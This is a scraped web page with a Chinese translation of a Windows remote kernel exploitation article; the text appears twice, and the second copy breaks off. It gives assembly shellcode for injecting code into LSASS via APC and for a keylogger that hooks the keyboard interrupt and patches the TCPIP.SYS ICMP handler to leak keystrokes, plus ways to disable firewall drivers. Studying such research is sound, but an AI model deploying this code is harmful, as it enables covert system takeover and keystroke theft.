精华内容
下载资源
问答
  • Windows远程内核漏洞注入

    千次阅读 2006-04-18 00:22:00
    Windows 远程内核漏洞注入作者:Barnaby Jack译:北极星2003EMAIL:zhangjingsheng_nbu@yahoo.com.cn说明:只翻译原资料的所有技术相关部分, 忽略了一小部分冗余信息。-----------------------------------------...

    Windows 远程内核漏洞注入
    作者:Barnaby Jack
    译:北极星2003
    EMAIL:zhangjingsheng_nbu@yahoo.com.cn
    说明:只翻译原资料的所有技术相关部分, 忽略了一小部分冗余信息。

    -----------------------------------------------------------------------------------------------------
     

    核心区域与用户区域

           I386体系支持4种访问权限,也就是通常所说的特权级别。Windows NT 使用了其中的两个权限,使得NT操作系统可以在不完全支持这四种特权级别的体系中运行。
           用户区域代码例如应用程序和系统服务运行在3级,用户模式的进程只能访问分配给他们的20亿字节的内存,并且用户代码是可以被分页和上下文切换的。
           核心级代码运行在0级,硬件抽象层、设备驱动程序、IO、内存管理和图形接口都是运行在0级。在0级执行的代码,运行时拥有系统的所有权限,可以访问所有内存且能使用特权指令。

    Native API

         由于设计,用户模式进程不能任意切换权限登记,这个功能会牵涉到整体Windows NT的安全模型。当然,这个安全模型是由多时段所构成的。
        有时候用户态的作业没有核心级函数功能无法完成,这就是引入Native API的原由。Native API是未被文档化的内部函数集,运行在内核模式。Native API之所以存在,就是为了提供一些能够在用户模式下安全地调用内核模式服务的途径。
        一个用户应用程序可以调用由NTDLL.DLL导出的Native API。NTDLL.DLL导出大量函数用于封装相应的内核函数。如果你反汇编其中一个函数,你会发现结果与下面相似:

    Windows 2000:

    mov eax, 0x0000002f

    lea edx, [esp+04]

    int 0x2e

             每个由NTDLL导出的Native API都可以被反编译成能够把执行环境切换到内核模式的代码段(stub).首先寄存器载入一个指向系统服务表的索引值,随后在NTOSKRNL对应偏移位置访问所需要的函数。

    Windows XP:

    mov eax, 0x0000002f

    mov edx, 7ffe0300

    call edx

    At offset 0x7ffe0300:

    mov edx, esp

    sysenter

    ret

        如果你的配置是奔腾II或者更高,那么在Windows XP中情况会有些不同。Windows XP是通过SYSENTER/SYSEXIT指令对来实现内核模式与用户模式的切换,这给创建shell code增加了一些困难,稍后再详细解释。
        为了成功的创建内核模式的shell code,你必须忘记所有用户级的API,且只使用内核级函数Native API。关于Native API的更多文档资料可以参考Gary Nebbett的《The Windows NT/2000 Native API Referce》。

    蓝屏的本质

    当你找到一个漏洞,当你把数据包发送到远程系统时面临着出现蓝屏的问题。要想成功注入一个内核级漏洞,首先要理解“蓝屏死机(Blue Screen Of Death)”的原理。
    当你见到BSOD,这就意味着native函数KeBugCheckEx被调用,有两种情况可以引发这种错误:

    1、由内核异常调用
    2、直接由错误检测机制调用KeBugCheckEx


    内核的异常链处理机制如下:
        当一个异常产生时,内核通过IDT(中断描述符表)的函数入口(KiTrapXX)取得控制权。这些函数组成了1级的的陷阱处理程序(Trap Handler),这个中断处理体可能会独自处理这个异常,也可能把该异常传递给下一个异常处理体,或者如果这个异常是无法处理的,那么就直接调用KeBugCheckEx。

        无论是哪种情况,为了掌握产生异常的原因和地点,我们需要得到陷阱桢(Trap Frame)。陷阱桢是一个与CONTEXT相似的结构,利用这个结构,可以得到所有寄存器的状态和指令寄存器所指向的产生异常的地址。我倾向于使用Compuware/Numega的SoftICE调试器来完成所有工作,但当调试陷阱桢时,WinDbg提供了更好的结构识别能力。如果只使用SoftICE,我必须手动定位先前的堆栈参数。

        假如你的电脑设置了蓝屏时的内存转储功能,那么这个文件的默认存储路径为%SystemRoot%/MEMORY.DMP。加载WinDbg并且选择“打开崩溃转储(Open Crash Dump)”加载所保存的文件。下面是由陷阱处理程序直接调用KeBugCheckEx的例子。

    在加载内存转储文件后,WinDbg显示如下:




     
    WinDbg显示了KeBugCheckEx是由自陷程序KiTrapOE调用的以及而且陷阱桢的地址是0x8054199C .现在就用“trap address”命令来显示陷阱桢的内容。



    现在我们可以看到异常抛出时所有寄存器的状态,同时也能显示一部分的内存区域。看到指令寄存器的值为0x41414141,表明是在用户区域。现在我们可以按照自己的意愿任意改变执行流程。
    这种情况下,数据是由ESP寄存器来定位的:


     
    现在我们就可以利用JMP ESP,CALL ESP, PUSH ESP/RET等偏移值替换0x41414141来实现执行流程重定向,可以采用任何标准溢出技术重现漏洞溢出。
    如果KeBugCheckEx是由异常处理机制引发的,陷阱桢是作为第三参数传递给KiDispatchException。在这种情况下,你需要将第三参数的地址传递给自陷命令。
    当流程重定向偏移地址时,该偏移地址必须是个静态的内存地址(也就是说,在内存中的地址的不变的)。

    Shell Code示例

        第一个Shell Code示例是“Kernel Loader”,允许插入到任何用户区域代码并且安全的执行,这对于执行远程Shell code和任何用户级Shell Code来说是很方便的。

        第二个示例是pure kernel.这个例子建立一个用户键盘中断处理程序来捕获所有的键盘输入消息。然后利用shell code TCPIP.SYS ICMP处理程序,让键盘缓冲区通过ICMP ECHO请求返回到远程系统。这段代码很小,利用了很少的API函数。为了完全理解下面的示例,我拷贝了相应的源代码。

    The “Kernel Loader”

           有很多技术可以把代码从内核状态转换到用户状态并且执行,举个例子,你可以改变正在执行的线程的EIP,让它指向自己的代码——如果采用这个技术,正在运行的进程就会自我销毁。

        可以使用NTOSKRNL中的RtlCreateUserThread和RtlCreateUserProcess函数,这些函数会创建SMSS.EXE(唯一一个没有父进程的进程,由内核直接创建)。然而这里有两个问题:第一,他们不是导出函数;第二,是个更大的问题,他们是在NTOSKRNL的INIT区段中,这意味着在进程执行之前这两个函数就已经执行。因而需要重新映射NTOSKRNL,以及初始化一些全局变量(_MmHighestUserAddress和_NtGlobalFlag), 当然还需要找到该函数的首地址。

    另外一种可行的方法是在用户域进程中创建远程线程,并且直接执行该线程。Firew0rker在他的文章中谈到过这些: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt

    不幸的是,这种方法也有缺陷。当执行用户级代码的时候,API函数CreateProcess可能会失败,这是由于必须通知CSRSS子系统。需要重新获取workaround并且在用户级的Shell Code中建立一个新的CONTEXT结构。

    为了保持shell code尽量小,同时也为了可以插入到任意用户域代码而无需改变(译注:可移植性),上述的workaround并不是一个可行的选择。因为这种方法同样利用NTDLL的导出函数,在windows 2000以外的系统中会引发一定的问题。Windows 2000使用Ox2e中断来实现3级到0级的切换,无论在3级或是0级,都可以安全的执行。

    然而,在Windows XP下问题就产生了,Windows XP是利用SYSENTER和SYSEXIT指令对来实现0级与3级之间的切换。如果在内核中直接调用NTDLL的导出函数,意味着蓝屏即将来临。为了解决这个问题,用于在系统服务表中查询NTOSKRNL函数的额外代码是必须的.我决定采用异步过程调用(Asynchronous Procedure Calls)方式来执行用户域Shell Code,这种方法只使用直接由NTOSKRNL导出的函数。

    在一个处于“可报警等待状态(Alertable Wait State)”的用户线程中使用APC,必须立即执行该函数。处于“可报警等待状态”的线程可能是由于调用了 SleepEx, WaitForSingleObjectEx, SignalObjectAndWait和MsgWaitForMultipleObjectsEx等函数把Alertableflag设置为TRUE。这种方法需要的API调用数目是最少的,而且相对而言比较可靠。

    我们将要使用的所有函数都是由NOOSKRNL导出的。第一步要做的就是手动取得NTOSKRNL的基地址,为了完成这一步,我们使用被称为“mid-delta”的技术:先取得一个指向NTOSKRNL地址空间的指针,然后一直递减直到指针指向可执行文件标志“MZ”为止。要想得到一个指向NTOSKRNL地址空间的指针,我们可以先取得中断描述符表(IDT)的第一项入口地址,因为通常情况下这个地址是指向NTOSKRNL地址空间中的某一位置。

    接下来的代码是访问在IDT中取得一个内存指针,然后通过递减该指针来寻找基地址。

    mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT地址

    lodsd

    cdq

    lodsd ; get pointer into NTOSKRNL

    @base_loop:

    dec eax

    cmp dword ptr [eax], 00905a4dh ; 检测“MZ”标志

    jnz @base_loop


        取得IDT基地址的一般方法是使用SIDT指令。由于IDT也是由0xFFDFF038地址的指针所指向的,我可以直接访问IDT地址,这样也可以减少一些字节数。也许你会注意到上面的代码并没有得到正确的IDT入口地址,我们只是取得入口地址的高字部分,这是因为低字部分的区域范围是在0—0xFFFF,忽略后仍旧在NTOSKRNL的内存地址空间里。


    hash_table:

    dw 063dfh; "PsLookupProcessByProcessId" _pslookupprocessbyprocessid  equ [ebx]

    dw 0df10h; "KeDelayExecutionThread"       _kedelayexecutionthread          equ [ebx+4]

    dw 0f807h; "ExAllocatePool"            _exallocatepool                         equ [ebx+8]

    dw 057d2h; "ZwYieldExecution"          _keyieldexecution                          equ [ebx+12]

    dw 07b23h; "KeInitializeApc"           _keinitializeapc                       equ [ebx+16]

    dw 09dd1h; "KeInsertQueueApc"          _keinsertqueueapc                   equ [ebx+20]

    hash_table_end:


     

        接下来我们可以建立一张哈希表,每一个所需要的函数都在其中有一个字长的哈希表项。函数名字符串在Win32 Shell Code中往往会占据大量的空间,所以使用散列机制更加合理。每个函数的指针都存放在一个表项中,而且可以由Shell Code通过EBX寄存器来访问。

        接下来就执行标准的“GetProcAddress”,它会分析NTOSKRNL的导出表并且取得对应函数的入口地址。这里的哈希表有点特别,只是对导出函数名的每一字节进行XOR/ROR运算。我使用字长哈希表而不是双字长哈希表就是为尽量缩减Shell Code的长度。

        一旦取得所有将要使用的函数的入口地址,接下来的的任务就是分配一个新的内存块用于存储shell code。因为代码还驻留在堆栈上,必须把代码拷贝到新的内存块。否则接下来的内核函数会覆盖掉大块区域,尤其是当我们请求降低IRQL (Interrupt Request Level)时。 

        我们把NonPagedPool作为参数传递给ExAllocatePool,然后把shell code拷贝到non-paged区域,再简单的执行一个JMP指令来到这个内存区域。现在所有的代码都可以安全的执行而不会再受到影响。

        当注入驱动程序时,我们必须意识到当前的IRQL。IRQL是一个指定内核程序当前的硬件优先级,很多内核程序为了能成功执行会请求IRQL的PASSIVE (0) 。如果运行在DISPATCH (2)级(用于程序调度和延迟过程调用) ,必须把IRQL下降到PASSIVE. 这只是一件简单的事情,只需要调用HAL的导出函数KeLowerIrql并且把0(PASSIVE)做为参数。

        现在我们需要把用户域代码绑定到进程,就必须先得到EPROCESS结构的指针,每一个进程都有一个对应的EPROCESS结构。关于这篇文章所有结构的更多信息都可以在WinDbg中通过dump结构体取得(例如: dt NT!_EPROCESS)。我们将要使用的函数需要EPROCESS的偏移地址,如果可以得到指向所有EPROCESS结构的指针,那么可以通过遍历所有结构来得到当前的所有活动进程。

        一般情况下,可以通过调用PsGetCurrentProcess来得到第一个EPROCESS结构。不幸的是,当注入一个远程驱动程序的时候,我们可能注入到一个处于“等待”状态的进程中,这个“等待”进程不会返回一个有效进程控制块。我用PsLookupProcessByProcessId来替换,并且把“system”进程的PID作为参数。在Windows XP中这个值为4,而在Windows 2000中这个值为8。


    lea ebp, [edi-4]

    push ebp

    push 04

    call dword ptr _pslookupprocessbyprocessid ;取得系统EPROCESS

    mov eax, [ebp] ; 取得系统EPROCESS结构指针

       

       取得了第一个EPROCESS结构,现在我们就可以访问当前所有活动进程。虽然我选择把代码注入LSASS地址空间,但所有正在运行的系统进程都是合适的目标。为了访问LSASS,采用循环方式枚举EPROCESS+ActiveProcessLinks所指向的每一个入口地址并且与LSASS模块名相比较。

    mov cl, EP_ActiveProcessLinks ; offset to ActiveProcessLinks

    add eax, ecx ; get address of EPROCESS+ActiveProcessLinks

    @eproc_loop:

    mov eax, [eax] ; get next EPROCESS struct

    mov cl, EP_ModuleName

    cmp dword ptr [eax+ecx], "sasl" ; is it LSASS?

    jnz @eproc_loop


       一旦定位LSASS进程,就可以通过减去ActiveProcessLinks偏移值,从而得到LSASS与第一个EPROCESS结构的偏移值。
        下一步就是把shell code拷贝到目标内存空间。起先我打算把代码存放在PEB;以前,PEB总是被映射到0x7ffdf000,但在XP SP2中PEB的映射地址是随机的。虽然可以通过0xFFDFF000->0x18->0x30找到PEB,但我们有更好的选择:把代码存放到内核-用户-共享内存区域,通常被称为SharedUserData。0xFFDF0000处是一个可写的内存区域,在那里可以保存我们的代码。这个内存区域是从用户域被标记为只读的0x7FFE0000处映射而来的,这个映射在所有的平台上都一样,所以这是个不错的选择。 由于在这个区域的内存对所有进程来来说都是可读的,所以必要把地址空间切换到目标进程,可以直接从内核把代码写入到0xFFDF0000+0x800。当排队一个用户模式APC时,把0x7FFE0000+0x800作为参数。

    call @get_eip2

    @get_eip2:

    pop esi

    mov cx, shell code-$+1

    add esi, ecx ; Get shell code address

    mov cx, (shell code_end-shell code) ; Shell code size

    mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800

    push edi

    mov edi, [edi] ; Copy shell code to SharedUserData

    rep movsb

    pop edi


        现在需要找到一个可以执行APC函数的线程。APC可以是内核模式APC或者用户模式APC,这里排队一个用户模式的APC。如果我们将要传递的线程没有处于“可报警等待状态”,那么用户模式APC将不会被调用。我前面已经简要的提到,一个线程可以通过调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx把bAlertable设置为TRUE就可以进入该状态。要找一个可用的线程需要访问该进程的ETHREAD指针,并且遍历每个线程直到找到我们所需要的线程为止。

    mov edx, [edi+16] ; Pointer to EPROCESS

    mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer

    @find_delay:

    mov ecx, [ecx] ; Get next thread

    cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?

    jnz @find_delay

     
       上面的代码首先通过EPROCESS结构的ThreadListHead LIST_ENTRY取得LSASS ETHREAD结构的指针,然后检测线程状态标志。一旦找到目标线程,我们设置EBP指向KTREAD结构,接下来我们要初始APC程序。

    xor edx, edx

    push edx

    push 01 ; push processor

    push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800)

    push edx ; push NULL

    push offset KROUTINE ; push KERNEL routine

    push edx ; push NULL

    push ebp ; push KTHREAD

    push esi ; push APC object

    call dword ptr _keinitializeapc ; initialize APC


        我们把用户模式Shell Code(存储在SharedUserData)的EIP作为KeInitializeApc的参数,同时必须传递一个将会被调用的内核程序。我们不需要这个程序做任何事情,只需要把返回指令指向shell code就可以了,该线程的KTHREAD结构对于执行我们的APC程序也必要的,APC对象将以指针变量的形式由ESI寄存器返回。现在可以将我们的APC程序插入到目标线程的APC队列。

    push eax ; push 0

    push dword ptr [edi+4] ; system arg

    push dword ptr [edi+8] ; system arg

    push esi ; APC object

    call dword ptr _keinsertqueueapc


        最后一个函数是KeInsertQueueApc用来发送APC。在上面的代码中,EAX为0,而且两个系统参数也是指向空地址的指针,当然也传递了先前由KeInitializeApc返回的APC对象。
        最后,为了防止我们的刚初始化的负载线程返回并出现蓝屏,把0X80000000:00000000传递给KeDelayExecutionThread,让线程睡眠。

    push offset LARGE_INT

    push FALSE

    push KernelMode

    call dword ptr _kedelayexecutionthread

        如果在偶然的情况下,我们进入了“Idle”地址空间,那么这个调用就会失败。解决这个问题的方法是放弃执行该线城,然后继续循环.代码片段如下:

    @yield_loop:

    call dword ptr _keyieldexecution

    jmp @yield_loop

     
        万幸,用户模式线程应该还在你所选择的SYSTEM进程中安全的执行。如果完成APC函数后调用ExitThread来退出用户代码,那么系统很可能还是稳定的。

     
    The ICMP Patching Interrupt Hooking Key-Logger

        当我和来自eEye的Derek Soeder闲聊的时候,我们讨论了哪些是完全由内核级内代码组成的有用的shell code。其中的一个想法是内核级key-logger,它可以返回键盘缓冲区到远程线程。显然,这是一个shell code,创建一个完整的键盘过滤器和通信管道可能会大大超出可以接受的代码长度范围,所以采取捷径是必须的。

        我们采用源于DOS时代的技术,把键盘中断处理程序入口替换为自己的代码入口来捕获扫描码,而不是绑定键盘过滤器来捕获键盘消息。我决定修改TCPIP.SYS驱动程序的ICMP处理体,而不是通过自己创建管道返回键盘消息到远程用户。补丁程序修改了ICMP ECHO处理体,用我们自己的键盘缓冲区来替换原来的缓冲区。发送一个ICMP ECHO请求到远程系统将会返回所捕获的按键情况。

        第一步,把键盘处理体的IDT入口替换为我们自己中断处理体的入口。现在,Windows XP 和 2000 SP4有存储在HAL内存区域的IRQ中断向量表。我们可以很方便的搜索临近的标志字节,并且查询对应于IRQ1(键盘IRQ)的中断向量。在早期的服务包中,例如Window 2000 SP0,这个表是不存在的,然而中断向量表是静止的,RQ1 = Vector 0x31, IRQ2 = Vector 0x32等等。下面的代码首先尝试定位向量表,如果定位失败的话就会直接使用中断向量0X31。 


    mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT基地址

    lodsd

    cdq

    lodsd                          ; 取得NTOSKRNL地址空间的指针

    @base_loop:

    dec eax

    cmp dword ptr [eax], 00905a4dh    ; 检测 MZ 标志

    jnz @base_loop

    jecxz @hal_base                   ; 把 NTOSKRNL 基地址保存到EAX

    xchg edx, eax

    mov eax, [edx+590h]               ; 取得一个 HAL 函数的指针

    xor ecx, ecx

    jmp @base_loop                 ; 寻找HAL的基地址

    @hal_base:

    mov edi, eax                      ; 把 HAL 的基地址保存到 EDI

    mov ebp, edx                      ; 把 NTOSKRNL 基地址保存到 EBP

    cld

    mov eax, 41413d00h             ; 标志字节"=AA/0"

    xor ecx, ecx

    dec cx

    shr ecx, 4

    repnz scasd                    ; 取得在IDT表中的偏移值

    or ecx, ecx

    jz @no_table

    lea edi, [edi+01ch]               ; 取得相量表的指针

    push edi

    inc eax                        ;IRQ 1

    repnz scasb

    pop esi

    sub edi, esi

    dec edi                        ; 取得键盘中断

    jmp @table_ok

    @no_table:

    mov edi, 031h                     ; 如果相量表不存在,使用静态值

    @table_ok:

    push edx

    sidt [esp-2] ;Get IDT

    pop edx

    lea esi, [edx+edi*8+4]            ; IDT 中键盘处理体入口

    std

    lodsd

    lodsw                          ; EAX 中为键盘处理体入口地址

    mov dword ptr [handler_old], eax ; 保存

     

       首先定位NOSOKRNL和HAL.DLL的基地址,然后在HAL地址空间中搜索“=AA/0”标志,这个双字标志标识着与中断向量表相临的TRQL-TPR转换表的开始。如果找到该标识,我们直接把中断向量设置为0X31;如果没有找到IRQ表,那么所需要的偏移值在IRQ表的0XC1H处。接着我们定位对应于键盘IRQ1的向量,然后用SIDT指令得到IDT的基地址。得到中断向量IDT入口的公式如下:

    IDT_BASE+INT_Vector*8

     

        从IDT中取得原始中断处理体的地址,保存在我们处理程序的起始位置,因而当我们的处理程序完成特定功能后可以返回到原始处理程序。下面的代码在IDT中用我们自定义的中断处理体入口替换原始处理程序入口:

     

    cld

    mov eax, @handler_new

    cli                         ; 当改写入口地址的时候屏蔽中断

    mov [esi+2], ax                ; 改写用新的入口地址改写IDT入口

    shr eax, 16

    mov [esi+8], ax

    sti                         ; 恢复允许中断信号

     

       接下来就调用ExAllocatePool,分配一个缓冲区用于存储已捕获的键盘输入;我们还需要通过分析NTOSKRNL的PsLoadedModuleList来定位TCPIP.SYS的基地址,不幸的是PsLoadedModuleList不是公共的导出函数,因而我们需要手动定位。

     

        NTOSKRNL导出的MmGetSystemRoutineAddress函数就使用了这个链表。



       为了取得所需要的指针,我们把MmGetSystemRoutineAddress的地址作为参数并且通过递增该地址来手动定位PsLoadedModuleList。

    mov edi, _mmgetsystemroutineaddress

    @mmgsra_scan:

    inc edi

    mov eax, [edi]

    sub eax, ebp

    test eax, 0FFE00003h

    jnz @mmgsra_scan

    mov ebx, [edi]

    cmp ebx, [edi+5]                  ; 检测 PsLoadedModuleList 的指针

    je @pslml_loop

    cmp ebx, [edi+6]

    jne @mmgsra_scan

    @pslml_loop:                      ; 找到 _PsLoadedModuleList

    mov ebx, [ebx]

    mov esi, [ebx+30h]

    mov edx, 50435449h             ; "ITCP", 判断是否TCPIP.SYS 模块?

    push 4

    pop ecx

    @pslml_name_loop:

    lodsw

    ror edx, 8

    sub al, dl

    je @pslml_name_loop_cont

    cmp al, 20h

    @pslml_name_loop_cont:

    loopz @pslml_name_loop

    @pslml_loop_cont:

    jnz @pslml_loop

    mov edi, [ebx+18h]                   ;TCPIP.SYS 模块基地址

     


        上面的代码首先遍历MmGetSystemRoutineAddress程序来搜索该链表的指针。系统模块链表结构如下:


    +00h LIST_ENTRY

    +08h ???

    +18h LPVOID module base address

    +1Ch LPVOID ptr to entry point function

    +20h DWORD size of image in bytes

    +24h UNICODE_STRING full path and file name of module

    +2Ch UNICODE_STRING module file name only

    ...


       接下来就是分析该链表来取得TCPIP.SYS模块的基地址。

       这些代码比起网络Shell Code更类似于软件crack,原因就在于:我们将要修改TCPIP驱动程序,这就意味着我们可以接受来自远程系统所捕获的键盘输入。有很多种方法,这里通过修改ICMP ECHO处理程序使之作为通信通道。

        在TCPIP.SYS的SendEcho中我们将会使用shell code。由于完整的反汇编代码太长,下面是相关部分的代码片段: 
     


        从上面的反汇编代码来看,[edx+8]是指向ICMP ECHO缓冲区的指针,那么通过修改上面的代码把[edx+8]的指针改为指向我们的键盘缓冲区,这只是一件很容易的事。

    mov eax, 428be85dh       ; TCPIP.SYS 地址空间中的字节序列

    @find_patch:

    inc edi

    cmp dword ptr [edi], eax

    jnz @find_patch

    add edi, 5

    mov al, 68h

    stosb                 ; Store "push"

    mov eax, edx             ; EDX 指向键盘缓冲区

    stosd                 ; 保存键盘缓冲区指针

    mov eax, 08428f90h    ; "pop [edx+08h] / nop"

    stosd                 

    用下面的代码可以修改:

    push keybuffer_offset

    pop [edx+8]

    nop

     
       当ICMP ECHO请求被发送到远程系统时,反馈的数据包会包括已捕获的键盘输入,替换中断处理体是很容易的事--当有按键事件时我们的程序就会被调用,然后从键盘断口读取键盘扫描码并保存到按键缓冲区。

    @handler_new:

    push 0deadbeefh                   ; 保存当前处理程序指针

    handler_old equ $-4

    pushfd

    pushad

    xor eax, eax

    lea edi, keybuf                   ; 用所分配的缓冲区地址改写

    KB_PATCH equ $-4

    in al, 60h                     ; 取得键盘扫描码

    test al, al                    ; 没有扫描码?

    jz @done

    push edi

    mov ecx, [edi]

    lea edi, [edi+ecx+4]

    stosb ; Store code in buffer

    inc ecx

    pop edi

    cmp cx, 1023

    jnz @done

    xor ecx, ecx

    @done:

    mov [edi], ecx

    popad

    popfd

    db 0c3h                     ; 返回到原来的处理程序

     

        一旦有按键消息产生,上面的代码就会被调用,而初始的中断处理程序句柄(已经被改写)被压入堆栈。从0x60断口读取当前的扫描码并保存到所分配的缓冲区中。这个缓冲区可以保存0X3FF个键盘输入,如果之后再有扫描码就会覆盖前面部分。



    对注入放火墙驱动程序的思考

       当在防火墙驱动程序中注入一个内核级漏洞时,将需要考虑很多问题。我们将要示范的漏洞是由处理DNS反馈信息过程引起的,DNS反馈信息是由SYMDNS.SYS处理的。如果DNS处理过程不能成功返回,那么就不能用socket来通信。在研究这个问题之前,首先必须理解多种协议层的通信机制。

    下面是网络层的概要:

    1).网络驱动程序接口规范(Network Driver Interface Specification Layer) 

    NDIS 为从物理设备到网络传输提供一个通路

    NDIS驱动程序直接与网络适配器打交道。 

    2).网络协议层(Network Protocol Layer)

    此处为 TCP/IP. (TCPIP.SYS)

    3).传输层驱动接口(Transport Driver Interface Layer)

    TDI为网络协议、客户端协议、以及网络API例如Winsock提供接口。

    4).网络应用程序接口(Network API Layer) 

    网络应用程序接口例如Winsock,为网络应用程序提供编程接口。

     

        所有基于主机的放火墙的限制策略都工作在内核模式,通常可以通过TDI过滤驱动程序或者 NDIS 挂钩过滤驱动程序。虽然我没有见过这一类的放火墙产品,但是挂钩AFD接口也是可能的。
        我们所面对的问题:SYMDNS.SYS必须返回到TDI过滤驱动程序SYMTDI.SYS,不幸的是一旦执行我们的shell code,通信就不会结束。这里有一些的解决方案:


    (a) “clean” 返回

       Clean返回包括在没有出现BSOD的情况下从shell code返回,有包括能继续正常的通信,这个是很难实现的。经过攻击后的堆栈不是处于最佳状态,所以必须返回到原来堆栈桢的状态

     (b) 卸载 TDI 或者 NDIS 的过滤驱动

       卸载过滤驱动是另外一个可行的方法。我们可以很方便的调用驱动程序的卸载程序,这就相当于从DriverEntry程序调用DriverObject->DriverUnload。这个驱动程序的偏移地址可以通过目标驱动程序的DRIVER_OBJECT获得。

        如果DriverUnload的成员DRIVER_OBJECT为空,意味目标驱动程序的卸载程序不存在。DRIVER_OBJECT可以被DEVICE_OBJECT的成员所引用,可以通过把驱动程序名作为参数传递给IoGetDeviceObjectPointer,取得指向DEVICE_OBJECT的指针。


    (c) 分离或删除驱动程序(Detach/delete the devices)

        驱动可以通过调用 IoAttachDevice 或 IoAttachDeviceToDeviceStack 把自身的设备对象附加到其它设备,因而对原始设备的请求首先被传递到立即设备。我们可把DEVICE_OBJECT作为参数传递给IoDetachDevice来分离驱动程序,有可以把DEVICE_OBJECT作为参数传递给IoDeleteDevice来移除设备。

    展开全文
  • Windows 远程内核漏洞注入

    千次阅读 2006-03-16 18:58:00
    Windows 远程内核漏洞注入作者:Barnaby Jack译:北极星2003EMAIL:zhangjingsheng_nbu@yahoo.com.cn说明:只翻译原资料的所有技术相关部分, 忽略了一小部分冗余信息。-----------------------------------------...

    Windows 远程内核漏洞注入
    作者:Barnaby Jack
    译:北极星2003
    EMAIL:zhangjingsheng_nbu@yahoo.com.cn
    说明:只翻译原资料的所有技术相关部分, 忽略了一小部分冗余信息。

    -----------------------------------------------------------------------------------------------------
     

    核心区域与用户区域

           I386体系支持4种访问权限,也就是通常所说的特权级别。Windows NT 使用了其中的两个权限,使得NT操作系统可以在不完全支持这四种特权级别的体系中运行。
           用户区域代码例如应用程序和系统服务运行在3级,用户模式的进程只能访问分配给他们的20亿字节的内存,并且用户代码是可以被分页和上下文切换的。
           核心级代码运行在0级,硬件抽象层、设备驱动程序、IO、内存管理和图形接口都是运行在0级。在0级执行的代码,运行时拥有系统的所有权限,可以访问所有内存且能使用特权指令。

    Native API

         由于设计,用户模式进程不能任意切换权限登记,这个功能会牵涉到整体Windows NT的安全模型。当然,这个安全模型是由多时段所构成的。
        有时候用户态的作业没有核心级函数功能无法完成,这就是引入Native API的原由。Native API是未被文档化的内部函数集,运行在内核模式。Native API之所以存在,就是为了提供一些能够在用户模式下安全地调用内核模式服务的途径。
        一个用户应用程序可以调用由NTDLL.DLL导出的Native API。NTDLL.DLL导出大量函数用于封装相应的内核函数。如果你反汇编其中一个函数,你会发现结果与下面相似:

    Windows 2000:

    mov eax, 0x0000002f

    lea edx, [esp+04]

    int 0x2e

             每个由NTDLL导出的Native API都可以被反编译成能够把执行环境切换到内核模式的代码段(stub).首先寄存器载入一个指向系统服务表的索引值,随后在NTOSKRNL对应偏移位置访问所需要的函数。

    Windows XP:

    mov eax, 0x0000002f

    mov edx, 7ffe0300

    call edx

    At offset 0x7ffe0300:

    mov edx, esp

    sysenter

    ret

        如果你的配置是奔腾II或者更高,那么在Windows XP中情况会有些不同。Windows XP是通过SYSENTER/SYSEXIT指令对来实现内核模式与用户模式的切换,这给创建shell code增加了一些困难,稍后再详细解释。
        为了成功的创建内核模式的shell code,你必须忘记所有用户级的API,且只使用内核级函数Native API。关于Native API的更多文档资料可以参考Gary Nebbett的《The Windows NT/2000 Native API Referce》。

    蓝屏的本质

    当你找到一个漏洞,当你把数据包发送到远程系统时面临着出现蓝屏的问题。要想成功注入一个内核级漏洞,首先要理解“蓝屏死机(Blue Screen Of Death)”的原理。
    当你见到BSOD,这就意味着native函数KeBugCheckEx被调用,有两种情况可以引发这种错误:

    1、由内核异常调用
    2、直接由错误检测机制调用KeBugCheckEx


    内核的异常链处理机制如下:
        当一个异常产生时,内核通过IDT(中断描述符表)的函数入口(KiTrapXX)取得控制权。这些函数组成了1级的的陷阱处理程序(Trap Handler),这个中断处理体可能会独自处理这个异常,也可能把该异常传递给下一个异常处理体,或者如果这个异常是无法处理的,那么就直接调用KeBugCheckEx。

        无论是哪种情况,为了掌握产生异常的原因和地点,我们需要得到陷阱桢(Trap Frame)。陷阱桢是一个与CONTEXT相似的结构,利用这个结构,可以得到所有寄存器的状态和指令寄存器所指向的产生异常的地址。我倾向于使用Compuware/Numega的SoftICE调试器来完成所有工作,但当调试陷阱桢时,WinDbg提供了更好的结构识别能力。如果只使用SoftICE,我必须手动定位先前的堆栈参数。

        假如你的电脑设置了蓝屏时的内存转储功能,那么这个文件的默认存储路径为%SystemRoot%/MEMORY.DMP。加载WinDbg并且选择“打开崩溃转储(Open Crash Dump)”加载所保存的文件。下面是由陷阱处理程序直接调用KeBugCheckEx的例子。

    在加载内存转储文件后,WinDbg显示如下:




     
    WinDbg显示了KeBugCheckEx是由自陷程序KiTrapOE调用的以及而且陷阱桢的地址是0x8054199C .现在就用“trap address”命令来显示陷阱桢的内容。



    现在我们可以看到异常抛出时所有寄存器的状态,同时也能显示一部分的内存区域。看到指令寄存器的值为0x41414141,表明是在用户区域。现在我们可以按照自己的意愿任意改变执行流程。
    这种情况下,数据是由ESP寄存器来定位的:


     
    现在我们就可以利用JMP ESP,CALL ESP, PUSH ESP/RET等偏移值替换0x41414141来实现执行流程重定向,可以采用任何标准溢出技术重现漏洞溢出。
    如果KeBugCheckEx是由异常处理机制引发的,陷阱桢是作为第三参数传递给KiDispatchException。在这种情况下,你需要将第三参数的地址传递给自陷命令。
    当流程重定向偏移地址时,该偏移地址必须是个静态的内存地址(也就是说,在内存中的地址的不变的)。

    Shell Code示例

        第一个Shell Code示例是“Kernel Loader”,允许插入到任何用户区域代码并且安全的执行,这对于执行远程Shell code和任何用户级Shell Code来说是很方便的。

        第二个示例是pure kernel.这个例子建立一个用户键盘中断处理程序来捕获所有的键盘输入消息。然后利用shell code TCPIP.SYS ICMP处理程序,让键盘缓冲区通过ICMP ECHO请求返回到远程系统。这段代码很小,利用了很少的API函数。为了完全理解下面的示例,我拷贝了相应的源代码。

    The “Kernel Loader”

           有很多技术可以把代码从内核状态转换到用户状态并且执行,举个例子,你可以改变正在执行的线程的EIP,让它指向自己的代码——如果采用这个技术,正在运行的进程就会自我销毁。

